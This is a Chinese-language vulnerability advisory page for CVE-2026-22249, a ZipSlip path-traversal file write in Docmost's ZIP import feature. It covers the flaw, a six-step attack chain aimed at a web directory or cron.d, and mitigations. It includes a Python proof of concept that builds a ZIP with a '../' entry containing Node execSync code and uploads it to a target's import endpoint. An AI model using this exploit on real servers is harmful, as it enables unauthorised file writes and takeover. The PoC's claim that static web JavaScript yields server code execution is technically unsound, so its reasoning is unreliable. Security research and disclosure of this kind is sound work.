IPBUF安全漏洞报告
English
CVE-2026-22249 CVSS 7.1 高危

CVE-2026-22249 Docmost ZipSlip任意文件写入漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-22249
漏洞类型
任意文件写入(ZipSlip)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Docmost

相关标签

CVE-2026-22249DocmostZipSlip任意文件写入路径遍历高危漏洞CWE-22CWE-434

漏洞概述

CVE-2026-22249是Docmost协作维基和文档软件中的一个高危安全漏洞。该漏洞存在于0.21.0到0.24.0版本之间,由于Zip导入功能中的路径遍历(ZipSlip)问题,攻击者可以向服务器任意位置写入文件。Docmost是一款开源的协作维基和文档管理平台,用户可以通过其导入功能上传ZIP压缩包来批量导入文档内容。漏洞的具体位置位于apps/server/src/integrations/import/utils/file.utils.ts文件中,该文件在处理ZIP包内的文件名时缺乏必要的路径验证和清理。当攻击者构造一个包含特殊构造的文件名的ZIP包时(如使用../这样的路径遍历序列),可以通过解压操作将文件写入到目标目录之外的任意位置。这种攻击可能导致远程代码执行、配置文件篡改、服务中断等严重后果。漏洞的CVSS评分为7.1,属于高危级别,攻击向量为网络攻击,需要低权限认证,无需用户交互即可利用,对可用性造成高影响。

技术细节

该漏洞的核心问题在于ZIP解压过程中的路径遍历防护缺失。在file.utils.ts文件中,解压ZIP文件时直接使用ZIP包内文件的名字创建文件,而没有对文件名进行安全验证。攻击者可以通过在ZIP文件中嵌入包含路径遍历序列(如../../)的文件名,实现将文件写入到预期目录之外的位置。例如,文件名可以是../../../../var/www/html/static/evil.js,这样在解压时文件会被写入到Web服务器的可执行目录,从而实现远程代码执行。攻击利用的具体步骤包括:首先构造一个包含恶意文件名的ZIP包,然后通过Docmost的导入功能上传该ZIP文件,系统会自动解压并写入文件,由于缺少路径验证,攻击者可以控制文件的写入位置。修复方案是在解压前对文件名进行规范化处理,移除所有路径遍历序列,或确保文件只能写入到预定义的目录范围内。

攻击链分析

STEP 1
步骤1
攻击者首先访问Docmost实例并登录,获取一个有效的低权限用户账户
STEP 2
步骤2
攻击者构造一个包含恶意文件名的ZIP压缩包,文件名使用路径遍历序列(如../../../etc/cron.d/malicious)
STEP 3
步骤3
攻击者通过Docmost的文档导入功能上传该恶意ZIP文件
STEP 4
步骤4
服务器端的file.utils.ts在解压时没有验证文件名路径,将文件写入到攻击者指定的目标位置
STEP 5
步骤5
如果写入位置是Web目录或计划任务目录,攻击者可以实现远程代码执行
STEP 6
步骤6
攻击者通过访问写入的恶意脚本或等待计划任务执行,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import sys import requests # PoC for CVE-2026-22249: Docmost ZipSlip Arbitrary File Write # This script demonstrates how an attacker can exploit the ZipSlip vulnerability def create_malicious_zip(target_path, output_file): """ Create a malicious ZIP file containing a file with path traversal in its name """ with zipfile.ZipFile(output_file, 'w') as zf: # Create a file with path traversal sequence to write outside target directory # Adjust the number of ../ based on the actual directory structure malicious_filename = '../../../var/www/html/static/evil.js' malicious_content = b'// Malicious JavaScript - Remote Code Execution\n' malicious_content += b'const { execSync } = require("child_process");\n' malicious_content += b'execSync(process.argv[1]);\n' # Add the malicious file to the ZIP archive zf.writestr(malicious_filename, malicious_content) print(f'[+] Created malicious file: {malicious_filename}') print(f'[+] Output ZIP: {output_file}') def main(): if len(sys.argv) < 3: print('Usage: python cve-2026-22249-poc.py <target_url> <output_zip>') print('Example: python cve-2026-22249-poc.py http://docmost.local:3000 malicious.zip') sys.exit(1) target_url = sys.argv[1] output_file = sys.argv[2] # Create the malicious ZIP file create_malicious_zip('/api/import/upload', output_file) # Upload the malicious ZIP file upload_url = f'{target_url}/api/import/upload' print(f'\n[!] Upload the {output_file} file through the Docmost import feature') print(f'[!] The file will be extracted and written to an arbitrary location') print(f'[!] Target path: ../../../var/www/html/static/evil.js') # Attempt to upload try: with open(output_file, 'rb') as f: files = {'file': (output_file, f, 'application/zip')} response = requests.post(upload_url, files=files, timeout=30) print(f'\n[+] Response Status: {response.status_code}') print(f'[+] Response: {response.text}') except requests.exceptions.RequestException as e: print(f'[-] Error uploading file: {e}') if __name__ == '__main__': main()

影响范围

Docmost 0.21.0 到 0.24.0 之前的所有版本

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 限制导入功能的权限,只允许受信任的管理员使用;2) 在Web服务器层面添加访问控制,防止上传目录外的文件被访问;3) 监控服务器文件系统的异常变更;4) 考虑暂时禁用Zip导入功能,等待官方发布修复版本;5) 实施入侵检测系统规则,监控可疑的文件写入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表